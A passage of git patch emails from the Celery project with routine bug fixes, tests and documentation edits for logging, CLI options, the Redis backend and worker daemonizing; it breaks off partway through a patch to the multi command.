From ea37db1410c83271e06d78a564983cba3732a1b1 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 21 Sep 2020 13:36:19 +0300 Subject: [PATCH 001/415] Specify utf-8 as the encoding for log files. Fixes #5144. --- celery/app/log.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/celery/app/log.py b/celery/app/log.py index d27a85ee559..7e036746cc0 100644 --- a/celery/app/log.py +++ b/celery/app/log.py @@ -226,7 +226,7 @@ def _detect_handler(self, logfile=None): logfile = sys.__stderr__ if logfile is None else logfile if hasattr(logfile, 'write'): return logging.StreamHandler(logfile) - return WatchedFileHandler(logfile) + return WatchedFileHandler(logfile, encoding='utf-8') def _has_handler(self, logger): return any( From cd8782feca5d961d08a1a46925e495b120dc3241 Mon Sep 17 00:00:00 2001 From: Akash Agrawal Date: Wed, 30 Sep 2020 09:50:20 +0530 Subject: [PATCH 002/415] Fixed some typos in readme --- README.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.rst b/README.rst index cb2d07c42f9..3896f32a6fa 100644 --- a/README.rst +++ b/README.rst @@ -63,14 +63,14 @@ Celery version 5.0.0 runs on, - PyPy3.6 (7.6) -This is the next version to of celery which will support Python 3.6 or newer. +This is the next version of celery which will support Python 3.6 or newer. If you're running an older version of Python, you need to be running an older version of Celery: - Python 2.6: Celery series 3.1 or earlier. - Python 2.5: Celery series 3.0 or earlier. -- Python 2.4 was Celery series 2.2 or earlier. +- Python 2.4: Celery series 2.2 or earlier. - Python 2.7: Celery 4.x series. Celery is a project with minimal funding, From 0f1a53b84ab15e15bb257c4d9ce2b3459d2ed176 Mon Sep 17 00:00:00 2001 From: Michal Kuffa Date: Tue, 29 Sep 2020 15:49:12 +0200 Subject: [PATCH 003/415] Fix custom headers propagation for protocol 1 hybrid messages --- celery/worker/strategy.py | 1 + t/unit/worker/test_request.py | 4 ++-- t/unit/worker/test_strategy.py | 6 +++++- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/celery/worker/strategy.py b/celery/worker/strategy.py index 64d3c5337f2..8fb1eabd319 100644 --- a/celery/worker/strategy.py +++ b/celery/worker/strategy.py @@ -50,6 +50,7 @@ def hybrid_to_proto2(message, body): 'kwargsrepr': body.get('kwargsrepr'), 'origin': body.get('origin'), } + headers.update(message.headers or {}) embed = { 'callbacks': body.get('callbacks'), diff --git a/t/unit/worker/test_request.py b/t/unit/worker/test_request.py index 039af717b2d..3ed7c553d15 100644 --- a/t/unit/worker/test_request.py +++ b/t/unit/worker/test_request.py @@ -1204,8 +1204,8 @@ def test_execute_using_pool_with_none_timelimit_header(self): def test_execute_using_pool__defaults_of_hybrid_to_proto2(self): weakref_ref = Mock(name='weakref.ref') - headers = strategy.hybrid_to_proto2('', {'id': uuid(), - 'task': self.mytask.name})[1] + headers = strategy.hybrid_to_proto2(Mock(headers=None), {'id': uuid(), + 'task': self.mytask.name})[1] job = self.zRequest(revoked_tasks=set(), ref=weakref_ref, **headers) job.execute_using_pool(self.pool) assert job._apply_result diff --git a/t/unit/worker/test_strategy.py b/t/unit/worker/test_strategy.py index 6b93dab74d9..88abe4dcd27 100644 --- a/t/unit/worker/test_strategy.py +++ b/t/unit/worker/test_strategy.py @@ -271,7 +271,7 @@ def failed(): class test_hybrid_to_proto2: def setup(self): - self.message = Mock(name='message') + self.message = Mock(name='message', headers={"custom": "header"}) self.body = { 'args': (1,), 'kwargs': {'foo': 'baz'}, @@ -288,3 +288,7 @@ def test_retries_custom_value(self): self.body['retries'] = _custom_value _, headers, _, _ = hybrid_to_proto2(self.message, self.body) assert headers.get('retries') == _custom_value + + def test_custom_headers(self): + _, headers, _, _ = hybrid_to_proto2(self.message, self.body) + assert headers.get("custom") == "header" From 6d270b94642188be774e228f97fd6af89ac547af Mon Sep 17 00:00:00 2001 From: Frazer McLean Date: Wed, 30 Sep 2020 11:00:56 +0200 Subject: [PATCH 004/415] Retry after race during schema creation in database backend (#6298) * Retry after race during schema creation in database backend Fixes #6296 This race condition does not commonly present, since the schema creation only needs to happen once per database. It's more likely to appear in e.g. a test suite that uses a new database each time. For context of the sleep times I chose, the schema creation takes ~50 ms on my laptop. I did a simulated test run of 50 concurrent calls to MetaData.create_all repeated 200 times and the number of retries was: - 0 retries: 8717x - 1 retry: 1279x - 2 retries 4x * Add test for prepare_models retry error condition * Add name to contributors --- CONTRIBUTORS.txt | 1 + celery/backends/database/session.py | 27 ++++++++++++++++++++++++++- t/unit/backends/test_database.py | 28 +++++++++++++++++++++++++++- 3 files changed, 54 insertions(+), 2 deletions(-) diff --git a/CONTRIBUTORS.txt b/CONTRIBUTORS.txt index 748cabf4d0b..a29157e1e57 100644 --- a/CONTRIBUTORS.txt +++ b/CONTRIBUTORS.txt @@ -277,3 +277,4 @@ Kyle Johnson, 2019/09/23 Dipankar Achinta, 2019/10/24 Sardorbek Imomaliev, 2020/01/24 Maksym Shalenyi, 2020/07/30 +Frazer McLean, 2020/09/29 diff --git a/celery/backends/database/session.py b/celery/backends/database/session.py index 047a9271d92..ca3d683bea6 100644 --- a/celery/backends/database/session.py +++ b/celery/backends/database/session.py @@ -1,14 +1,21 @@ """SQLAlchemy session.""" +import time + from kombu.utils.compat import register_after_fork from sqlalchemy import create_engine +from sqlalchemy.exc import DatabaseError from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker from sqlalchemy.pool import NullPool +from celery.utils.time import get_exponential_backoff_interval + ResultModelBase = declarative_base() __all__ = ('SessionManager',) +PREPARE_MODELS_MAX_RETRIES = 10 + def _after_fork_cleanup_session(session): session._after_fork() @@ -50,7 +57,25 @@ def create_session(self, dburi, short_lived_sessions=False, **kwargs): def prepare_models(self, engine): if not self.prepared: - ResultModelBase.metadata.create_all(engine) + # SQLAlchemy will check if the items exist before trying to + # create them, which is a race condition. If it raises an error + # in one iteration, the next may pass all the existence checks + # and the call will succeed. + retries = 0 + while True: + try: + ResultModelBase.metadata.create_all(engine) + except DatabaseError: + if retries < PREPARE_MODELS_MAX_RETRIES: + sleep_amount_ms = get_exponential_backoff_interval( + 10, retries, 1000, True + ) + time.sleep(sleep_amount_ms / 1000) + retries += 1 + else: + raise + else: + break self.prepared = True def session_factory(self, dburi, **kwargs): diff --git a/t/unit/backends/test_database.py b/t/unit/backends/test_database.py index bff42361841..28e2fedbbbb 100644 --- a/t/unit/backends/test_database.py +++ b/t/unit/backends/test_database.py @@ -13,7 +13,8 @@ from celery.backends.database import (DatabaseBackend, retry, session, # noqa session_cleanup) from celery.backends.database.models import Task, TaskSet # noqa -from celery.backends.database.session import SessionManager # noqa +from celery.backends.database.session import ( # noqa + PREPARE_MODELS_MAX_RETRIES, ResultModelBase, SessionManager) from t import skip # noqa @@ -398,3 +399,28 @@ def test_coverage_madness(self): SessionManager() finally: session.register_after_fork = prev + + @patch('celery.backends.database.session.create_engine') + def test_prepare_models_terminates(self, create_engine): + """SessionManager.prepare_models has retry logic because the creation + of database tables by multiple workers is racy. This test patches + the used method to always raise, so we can verify that it does + eventually terminate. + """ + from sqlalchemy.dialects.sqlite import dialect + from sqlalchemy.exc import DatabaseError + + sqlite = dialect.dbapi() + manager = SessionManager() + engine = manager.get_engine('dburi') + + def raise_err(bind): + raise DatabaseError("", "", [], sqlite.DatabaseError) + + patch_create_all = patch.object( + ResultModelBase.metadata, 'create_all', side_effect=raise_err) + + with pytest.raises(DatabaseError), patch_create_all as mock_create_all: + manager.prepare_models(engine) + + assert mock_create_all.call_count == PREPARE_MODELS_MAX_RETRIES + 1 From 96ec6db611f86f44a99f58d107c484dc011110ce Mon Sep 17 00:00:00 2001 From: Maarten Fonville Date: Fri, 25 Sep 2020 23:38:56 +0200 Subject: [PATCH 005/415] Update daemonizing.rst Fix daemonizing documentation for issue #6363 to put `multi` before `-A` --- docs/userguide/daemonizing.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/userguide/daemonizing.rst b/docs/userguide/daemonizing.rst index 07e39009c97..225d078ac8e 100644 --- a/docs/userguide/daemonizing.rst +++ b/docs/userguide/daemonizing.rst @@ -72,11 +72,11 @@ the worker you must also export them (e.g., :command:`export DISPLAY=":0"`) .. code-block:: console - $ celery -A proj multi start worker1 \ + $ celery multi -A proj start worker1 \ --pidfile="$HOME/run/celery/%n.pid" \ --logfile="$HOME/log/celery/%n%I.log" - $ celery -A proj multi restart worker1 \ + $ celery multi -A proj restart worker1 \ --logfile="$HOME/log/celery/%n%I.log" \ --pidfile="$HOME/run/celery/%n.pid @@ -399,12 +399,12 @@ This is an example systemd file: Group=celery EnvironmentFile=/etc/conf.d/celery WorkingDirectory=/opt/celery - ExecStart=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} multi start ${CELERYD_NODES} \ + ExecStart=/bin/sh -c '${CELERY_BIN} multi -A ${CELERY_APP} start ${CELERYD_NODES} \ --pidfile=${CELERYD_PID_FILE} \ --logfile=${CELERYD_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL} ${CELERYD_OPTS}' ExecStop=/bin/sh -c '${CELERY_BIN} multi stopwait ${CELERYD_NODES} \ --pidfile=${CELERYD_PID_FILE}' - ExecReload=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} multi restart ${CELERYD_NODES} \ + ExecReload=/bin/sh -c '${CELERY_BIN} multi -A ${CELERY_APP} restart ${CELERYD_NODES} \ --pidfile=${CELERYD_PID_FILE} \ --logfile=${CELERYD_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL} ${CELERYD_OPTS}' @@ -492,7 +492,7 @@ This is an example systemd file for Celery Beat: Group=celery EnvironmentFile=/etc/conf.d/celery WorkingDirectory=/opt/celery - ExecStart=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} beat \ + ExecStart=/bin/sh -c '${CELERY_BIN} beat -A ${CELERY_APP} \ --pidfile=${CELERYBEAT_PID_FILE} \ --logfile=${CELERYBEAT_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL}' From f05e82a32a737c4222ece0b446e7fb2fd8cc883f Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 30 Sep 2020 14:07:02 +0300 Subject: [PATCH 006/415] Revert "Update daemonizing.rst" (#6376) This reverts commit 96ec6db611f86f44a99f58d107c484dc011110ce. --- docs/userguide/daemonizing.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/userguide/daemonizing.rst b/docs/userguide/daemonizing.rst index 225d078ac8e..07e39009c97 100644 --- a/docs/userguide/daemonizing.rst +++ b/docs/userguide/daemonizing.rst @@ -72,11 +72,11 @@ the worker you must also export them (e.g., :command:`export DISPLAY=":0"`) .. code-block:: console - $ celery multi -A proj start worker1 \ + $ celery -A proj multi start worker1 \ --pidfile="$HOME/run/celery/%n.pid" \ --logfile="$HOME/log/celery/%n%I.log" - $ celery multi -A proj restart worker1 \ + $ celery -A proj multi restart worker1 \ --logfile="$HOME/log/celery/%n%I.log" \ --pidfile="$HOME/run/celery/%n.pid @@ -399,12 +399,12 @@ This is an example systemd file: Group=celery EnvironmentFile=/etc/conf.d/celery WorkingDirectory=/opt/celery - ExecStart=/bin/sh -c '${CELERY_BIN} multi -A ${CELERY_APP} start ${CELERYD_NODES} \ + ExecStart=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} multi start ${CELERYD_NODES} \ --pidfile=${CELERYD_PID_FILE} \ --logfile=${CELERYD_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL} ${CELERYD_OPTS}' ExecStop=/bin/sh -c '${CELERY_BIN} multi stopwait ${CELERYD_NODES} \ --pidfile=${CELERYD_PID_FILE}' - ExecReload=/bin/sh -c '${CELERY_BIN} multi -A ${CELERY_APP} restart ${CELERYD_NODES} \ + ExecReload=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} multi restart ${CELERYD_NODES} \ --pidfile=${CELERYD_PID_FILE} \ --logfile=${CELERYD_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL} ${CELERYD_OPTS}' @@ -492,7 +492,7 @@ This is an example systemd file for Celery Beat: Group=celery EnvironmentFile=/etc/conf.d/celery WorkingDirectory=/opt/celery - ExecStart=/bin/sh -c '${CELERY_BIN} beat -A ${CELERY_APP} \ + ExecStart=/bin/sh -c '${CELERY_BIN} -A ${CELERY_APP} beat \ --pidfile=${CELERYBEAT_PID_FILE} \ --logfile=${CELERYBEAT_LOG_FILE} --loglevel=${CELERYD_LOG_LEVEL}' From ce4f759a5766331285c779ed87b724a755d18b74 Mon Sep 17 00:00:00 2001 From: laixintao Date: Wed, 30 Sep 2020 21:36:09 +0800 Subject: [PATCH 007/415] bugfix: when set config result_expires = 0, chord.get will hang. (#6373) * bugfix: when set config result_expires = 0, chord.get will hang. `EXPIRE key 0` will delete a key in redis, then chord will never get the result. fix: https://github.com/celery/celery/issues/5237 * test: add testcase for expire when set config with zero. --- celery/backends/redis.py | 2 +- t/unit/backends/test_redis.py | 18 ++++++++++++++++++ 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index 1b9db7433fe..2c428823538 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -436,7 +436,7 @@ def on_chord_part_return(self, request, state, result, if self._chord_zset else pipe.rpush(jkey, encoded).llen(jkey) ).get(tkey) - if self.expires is not None: + if self.expires: pipeline = pipeline \ .expire(jkey, self.expires) \ .expire(tkey, self.expires) diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index 3f6257c8ae7..2029edc3c29 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -712,6 +712,24 @@ def test_on_chord_part_return_no_expiry(self, restore): self.b.expires = old_expires + @patch('celery.result.GroupResult.restore') + def test_on_chord_part_return_expire_set_to_zero(self, restore): + old_expires = self.b.expires + self.b.expires = 0 + tasks = [self.create_task(i) for i in range(10)] + + for i in range(10): + self.b.on_chord_part_return(tasks[i].request, states.SUCCESS, i) + assert self.b.client.zadd.call_count + self.b.client.zadd.reset_mock() + assert self.b.client.zrangebyscore.call_count + jkey = self.b.get_key_for_group('group_id', '.j') + tkey = self.b.get_key_for_group('group_id', '.t') + self.b.client.delete.assert_has_calls([call(jkey), call(tkey)]) + self.b.client.expire.assert_not_called() + + self.b.expires = old_expires + @patch('celery.result.GroupResult.restore') def test_on_chord_part_return_no_expiry__unordered(self, restore): self.app.conf.result_backend_transport_options = dict( From 431fffd7f29824cc08d566ed40bf398579979820 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 30 Sep 2020 15:16:20 +0300 Subject: [PATCH 008/415] Display a custom error message whenever an attempt to use -A or --app as a sub-command option was made. Fixes #6363 --- celery/bin/base.py | 5 ++--- celery/bin/celery.py | 30 +++++++++++++++++++++++++++++- 2 files changed, 31 insertions(+), 4 deletions(-) diff --git a/celery/bin/base.py b/celery/bin/base.py index 9429900a957..662ba728ae9 100644 --- a/celery/bin/base.py +++ b/celery/bin/base.py @@ -39,8 +39,7 @@ def __init__(self, app, no_color, workdir, quiet=False): @cached_property def OK(self): - return self.style("OK", fg="green", bold=True) \ - + return self.style("OK", fg="green", bold=True) @cached_property def ERROR(self): @@ -72,7 +71,7 @@ def error(self, message=None, **kwargs): kwargs['color'] = False click.echo(message, **kwargs) else: - click.echo(message, **kwargs) + click.secho(message, **kwargs) def pretty(self, n): if isinstance(n, list): diff --git a/celery/bin/celery.py b/celery/bin/celery.py index 4f7c95d065c..9f4fa0cbe4c 100644 --- a/celery/bin/celery.py +++ b/celery/bin/celery.py @@ -2,6 +2,7 @@ import os import click +import click.exceptions from click.types import ParamType from click_didyoumean import DYMGroup @@ -104,7 +105,8 @@ def celery(ctx, app, broker, result_backend, loader, config, workdir, os.environ['CELERY_RESULT_BACKEND'] = result_backend if config: os.environ['CELERY_CONFIG_MODULE'] = config - ctx.obj = CLIContext(app=app, no_color=no_color, workdir=workdir, quiet=quiet) + ctx.obj = CLIContext(app=app, no_color=no_color, workdir=workdir, + quiet=quiet) # User options worker.params.extend(ctx.obj.app.user_options.get('worker', [])) @@ -139,6 +141,32 @@ def report(ctx): celery.add_command(shell) celery.add_command(multi) +# Monkey-patch click to display a custom error +# when -A or --app are used as sub-command options instead of as options +# of the global command. + +previous_show_implementation = click.exceptions.NoSuchOption.show + +WRONG_APP_OPTION_USAGE_MESSAGE = """You are using `{option_name}` as an option of the {info_name} sub-command: +celery {info_name} {option_name} celeryapp <...> + +The support for this usage was removed in Celery 5.0. Instead you should use `{option_name}` as a global option: +celery {option_name} celeryapp {info_name} <...>""" + + +def _show(self, file=None): + if self.option_name in ('-A', '--app'): + self.ctx.obj.error( + WRONG_APP_OPTION_USAGE_MESSAGE.format( + option_name=self.option_name, + info_name=self.ctx.info_name), + fg='red' + ) + previous_show_implementation(self, file=file) + + +click.exceptions.NoSuchOption.show = _show + def main() -> int: """Start celery umbrella command. From c41a5cfe363e6359aebcce553f02d11803e0ead0 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 1 Oct 2020 12:28:50 +0300 Subject: [PATCH 009/415] Remove test dependencies for Python 2.7. --- requirements/test.txt | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/requirements/test.txt b/requirements/test.txt index fd0ba172f90..8d338510e71 100644 --- a/requirements/test.txt +++ b/requirements/test.txt @@ -1,10 +1,8 @@ case>=1.3.1 -pytest~=4.6; python_version < '3.0' -pytest~=6.0; python_version >= '3.0' +pytest~=6.0 pytest-celery pytest-timeout~=1.4.2 boto3>=1.9.178 -python-dateutil<2.8.1,>=2.1; python_version < '3.0' moto==1.3.7 pre-commit -r extras/yaml.txt From 86e0d933ecaf588fee1903708c413edb3188dd24 Mon Sep 17 00:00:00 2001 From: Nicolas Dandrimont Date: Thu, 1 Oct 2020 15:27:31 +0200 Subject: [PATCH 010/415] Restore the celery worker --without-{gossip,mingle,heartbeat} flags (#6365) In the previously used argparse arguments framework, these three options were used as flags. Since 5.0.0, they are options which need to take an argument (whose only sensible value would be "true"). The error message coming up is also (very) hard to understand, when running the celery worker command with an odd number of flags: Error: Unable to parse extra configuration from command line. Reason: not enough values to unpack (expected 2, got 1) When the celery worker is run with an even number of flags, the last one is considered as an argument of the previous one, which is a subtle bug. --- celery/bin/worker.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/celery/bin/worker.py b/celery/bin/worker.py index 4d4c57aea16..834a01bdae2 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -231,15 +231,15 @@ def detach(path, argv, logfile=None, pidfile=None, uid=None, cls=CeleryOption, help_group="Queue Options") @click.option('--without-gossip', - default=False, + is_flag=True, cls=CeleryOption, help_group="Features") @click.option('--without-mingle', - default=False, + is_flag=True, cls=CeleryOption, help_group="Features") @click.option('--without-heartbeat', - default=False, + is_flag=True, cls=CeleryOption, help_group="Features", ) @click.option('--heartbeat-interval', From 8767df022a9175db3520c0dfb5d3d562711383f2 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 1 Oct 2020 14:23:31 +0300 Subject: [PATCH 011/415] Provide clearer error messages when app fails to load. --- celery/bin/celery.py | 31 +++++++++++++++++++++++++++++-- 1 file changed, 29 insertions(+), 2 deletions(-) diff --git a/celery/bin/celery.py b/celery/bin/celery.py index 9f4fa0cbe4c..5488d17c40e 100644 --- a/celery/bin/celery.py +++ b/celery/bin/celery.py @@ -1,5 +1,6 @@ """Celery Command Line Interface.""" import os +import traceback import click import click.exceptions @@ -25,6 +26,19 @@ from celery.bin.upgrade import upgrade from celery.bin.worker import worker +UNABLE_TO_LOAD_APP_MODULE_NOT_FOUND = click.style(""" +Unable to load celery application. +The module {0} was not found.""", fg='red') + +UNABLE_TO_LOAD_APP_ERROR_OCCURRED = click.style(""" +Unable to load celery application. +While trying to load the module {0} the following error occurred: +{1}""", fg='red') + +UNABLE_TO_LOAD_APP_APP_MISSING = click.style(""" +Unable to load celery application. +{0}""") + class App(ParamType): """Application option.""" @@ -34,8 +48,21 @@ class App(ParamType): def convert(self, value, param, ctx): try: return find_app(value) - except (ModuleNotFoundError, AttributeError) as e: - self.fail(str(e)) + except ModuleNotFoundError as e: + if e.name != value: + exc = traceback.format_exc() + self.fail( + UNABLE_TO_LOAD_APP_ERROR_OCCURRED.format(value, exc) + ) + self.fail(UNABLE_TO_LOAD_APP_MODULE_NOT_FOUND.format(e.name)) + except AttributeError as e: + attribute_name = e.args[0].capitalize() + self.fail(UNABLE_TO_LOAD_APP_APP_MISSING.format(attribute_name)) + except Exception: + exc = traceback.format_exc() + self.fail( + UNABLE_TO_LOAD_APP_ERROR_OCCURRED.format(value, exc) + ) APP = App() From 7288147d65a32b726869ed887d99e4bfd8c070e2 Mon Sep 17 00:00:00 2001 From: Thomas Grainger Date: Sun, 4 Oct 2020 14:02:47 +0100 Subject: [PATCH 012/415] fix pytest plugin registration documentation (#6387) * fix pytest plugin registration documentation * Update docs/userguide/testing.rst Co-authored-by: Thomas Grainger Co-authored-by: Omer Katz --- docs/userguide/testing.rst | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/userguide/testing.rst b/docs/userguide/testing.rst index 4deccd0f15c..330a24d1dc2 100644 --- a/docs/userguide/testing.rst +++ b/docs/userguide/testing.rst @@ -105,7 +105,8 @@ Celery initially ships the plugin in a disabled state, to enable it you can eith * `pip install celery[pytest]` * `pip install pytest-celery` - * or add `pytest_plugins = 'celery.contrib.pytest'` to your pytest.ini + * or add an environment variable `PYTEST_PLUGINS=celery.contrib.pytest` + * or add `pytest_plugins = ("celery.contrib.pytest", )` to your root conftest.py Marks From 243d475b199f13ac2aa85d4225abd3a094ae781f Mon Sep 17 00:00:00 2001 From: Bas ten Berge Date: Mon, 5 Oct 2020 07:09:29 +0200 Subject: [PATCH 013/415] Contains a workaround for the capitalized configuration issue (#6385) * Contains a workaround for the capitalized configuration issue * Update celery/apps/worker.py Co-authored-by: Omer Katz * Update celery/apps/worker.py Co-authored-by: Omer Katz Co-authored-by: Omer Katz --- celery/apps/worker.py | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/celery/apps/worker.py b/celery/apps/worker.py index 6c1b5eb1c20..2a9df0c2e79 100644 --- a/celery/apps/worker.py +++ b/celery/apps/worker.py @@ -141,12 +141,25 @@ def on_start(self): app.log.redirect_stdouts(self.redirect_stdouts_level) # TODO: Remove the following code in Celery 6.0 - if app.conf.maybe_warn_deprecated_settings(): - logger.warning( - "Please run `celery upgrade settings path/to/settings.py` " - "to avoid these warnings and to allow a smoother upgrade " - "to Celery 6.0." - ) + # This qualifies as a hack for issue #6366. + # a hack via app.__reduce_keys__(), but that may not work properly in + # all cases + warn_deprecated = True + config_source = app._config_source + if isinstance(config_source, str): + # Don't raise the warning when the settings originate from + # django.conf:settings + warn_deprecated = config_source.lower() not in [ + 'django.conf:settings', + ] + + if warn_deprecated: + if app.conf.maybe_warn_deprecated_settings(): + logger.warning( + "Please run `celery upgrade settings path/to/settings.py` " + "to avoid these warnings and to allow a smoother upgrade " + "to Celery 6.0." + ) def emit_banner(self): # Dump configuration to screen so we have some basic information From 9eac689aa904e88b8327122629538980cd4ef6c9 Mon Sep 17 00:00:00 2001 From: Zvi Baratz Date: Mon, 5 Oct 2020 18:09:18 +0300 Subject: [PATCH 014/415] Remove old explanation regarding `absolute_import` (#6390) Resolves #6389. --- docs/django/first-steps-with-django.rst | 11 ++--------- 1 file changed, 2 insertions(+), 9 deletions(-) diff --git a/docs/django/first-steps-with-django.rst b/docs/django/first-steps-with-django.rst index 003edcc8b06..956d965313b 100644 --- a/docs/django/first-steps-with-django.rst +++ b/docs/django/first-steps-with-django.rst @@ -54,15 +54,8 @@ for simple projects you may use a single contained module that defines both the app and tasks, like in the :ref:`tut-celery` tutorial. Let's break down what happens in the first module, -first we import absolute imports from the future, so that our -``celery.py`` module won't clash with the library: - -.. code-block:: python - - from __future__ import absolute_import - -Then we set the default :envvar:`DJANGO_SETTINGS_MODULE` environment variable -for the :program:`celery` command-line program: +first, we set the default :envvar:`DJANGO_SETTINGS_MODULE` environment +variable for the :program:`celery` command-line program: .. code-block:: python From 66d2ea51ca8dff22dc11e6fd6119a3beedd83b51 Mon Sep 17 00:00:00 2001 From: Zvi Baratz Date: Tue, 6 Oct 2020 18:07:54 +0300 Subject: [PATCH 015/415] Update canvas.rst (#6392) * Update canvas.rst Tiny fixes. * Update docs/userguide/canvas.rst Co-authored-by: Omer Katz Co-authored-by: Omer Katz --- docs/userguide/canvas.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/userguide/canvas.rst b/docs/userguide/canvas.rst index fdfcaf2719a..10240768435 100644 --- a/docs/userguide/canvas.rst +++ b/docs/userguide/canvas.rst @@ -959,11 +959,11 @@ Map & Starmap ------------- :class:`~celery.map` and :class:`~celery.starmap` are built-in tasks -that calls the task for every element in a sequence. +that call the provided calling task for every element in a sequence. -They differ from group in that +They differ from :class:`~celery.group` in that: -- only one task message is sent +- only one task message is sent. - the operation is sequential. @@ -1013,7 +1013,7 @@ Chunks ------ Chunking lets you divide an iterable of work into pieces, so that if -you have one million objects, you can create 10 tasks with hundred +you have one million objects, you can create 10 tasks with a hundred thousand objects each. Some may worry that chunking your tasks results in a degradation From 8af82d7ed8625250907af268e7696e43570b2ac6 Mon Sep 17 00:00:00 2001 From: Justinas Petuchovas Date: Wed, 7 Oct 2020 15:01:39 +0300 Subject: [PATCH 016/415] Remove duplicate words from docs (#6398) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Remove the duplicate usage of “required” in documentation (specifically, `introduction.rst`). --- docs/getting-started/introduction.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/getting-started/introduction.rst b/docs/getting-started/introduction.rst index ea2162467ae..f55f448da79 100644 --- a/docs/getting-started/introduction.rst +++ b/docs/getting-started/introduction.rst @@ -45,7 +45,7 @@ What do I need? - PyPy3.6 ❨7.3❩ Celery 4.x was the last version to support Python 2.7, - Celery 5.x requires Python 3.6 or newer is required. + Celery 5.x requires Python 3.6 or newer. If you're running an older version of Python, you need to be running an older version of Celery: From 08fb1d06cff06397f365c546032479b8d9925931 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 7 Oct 2020 16:06:25 +0300 Subject: [PATCH 017/415] Allow lowercase log levels. (#6396) Fixes #6395. --- celery/bin/base.py | 1 + 1 file changed, 1 insertion(+) diff --git a/celery/bin/base.py b/celery/bin/base.py index 662ba728ae9..fbb56d84dbb 100644 --- a/celery/bin/base.py +++ b/celery/bin/base.py @@ -220,6 +220,7 @@ def __init__(self): super().__init__(('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL', 'FATAL')) def convert(self, value, param, ctx): + value = value.upper() value = super().convert(value, param, ctx) return mlevel(value) From 844774b76b8e434d5b88349be41c7c578b6fa48e Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 7 Oct 2020 16:07:44 +0300 Subject: [PATCH 018/415] Detach now correctly passes options with more than one word. (#6394) When specifying options such as `-E` the detached worker should receive the `--task-events` option. Instead it got the `--task_events` option which doesn't exist and therefore silently failed. This fixes #6362. --- celery/bin/worker.py | 1 + 1 file changed, 1 insertion(+) diff --git a/celery/bin/worker.py b/celery/bin/worker.py index 834a01bdae2..bf58dbea647 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -302,6 +302,7 @@ def worker(ctx, hostname=None, pool_cls=None, app=None, uid=None, gid=None, executable = params.pop('executable') argv = ['-m', 'celery', 'worker'] for arg, value in params.items(): + arg = arg.replace("_", "-") if isinstance(value, bool) and value: argv.append(f'--{arg}') else: From 8a92b7128bc921d4332fe01486accc243115aba8 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Wed, 7 Oct 2020 16:11:42 +0300 Subject: [PATCH 019/415] The celery multi command now works as expected. (#6388) --- celery/apps/multi.py | 26 +++++++++++++++++++++--- celery/bin/multi.py | 7 ++++++- requirements/test-ci-default.txt | 2 +- t/unit/apps/test_multi.py | 35 ++++++++++++++++---------------- 4 files changed, 47 insertions(+), 23 deletions(-) diff --git a/celery/apps/multi.py b/celery/apps/multi.py index b82eee4c9b3..a1458e3bd63 100644 --- a/celery/apps/multi.py +++ b/celery/apps/multi.py @@ -150,7 +150,7 @@ def _setdefaultopt(self, d, alt, value): pass value = d.setdefault(alt[0], os.path.normpath(value)) dir_path = os.path.dirname(value) - if not os.path.exists(dir_path): + if dir_path and not os.path.exists(dir_path): os.makedirs(dir_path) return value @@ -160,10 +160,30 @@ def _prepare_expander(self): self.name, shortname, hostname) def _prepare_argv(self): + cmd = self.expander(self.cmd).split(' ') + i = cmd.index('celery') + 1 + + options = self.options.copy() + for opt, value in self.options.items(): + if opt in ( + '-A', '--app', + '-b', '--broker', + '--result-backend', + '--loader', + '--config', + '--workdir', + '-C', '--no-color', + '-q', '--quiet', + ): + cmd.insert(i, format_opt(opt, self.expander(value))) + + options.pop(opt) + + cmd = [' '.join(cmd)] argv = tuple( - [self.expander(self.cmd)] + + cmd + [format_opt(opt, self.expander(value)) - for opt, value in self.options.items()] + + for opt, value in options.items()] + [self.extra_args] ) if self.append: diff --git a/celery/bin/multi.py b/celery/bin/multi.py index 3e999ab2ab5..12bb52b87d2 100644 --- a/celery/bin/multi.py +++ b/celery/bin/multi.py @@ -471,4 +471,9 @@ def DOWN(self): def multi(ctx): """Start multiple worker instances.""" cmd = MultiTool(quiet=ctx.obj.quiet, no_color=ctx.obj.no_color) - return cmd.execute_from_commandline([''] + ctx.args) + # In 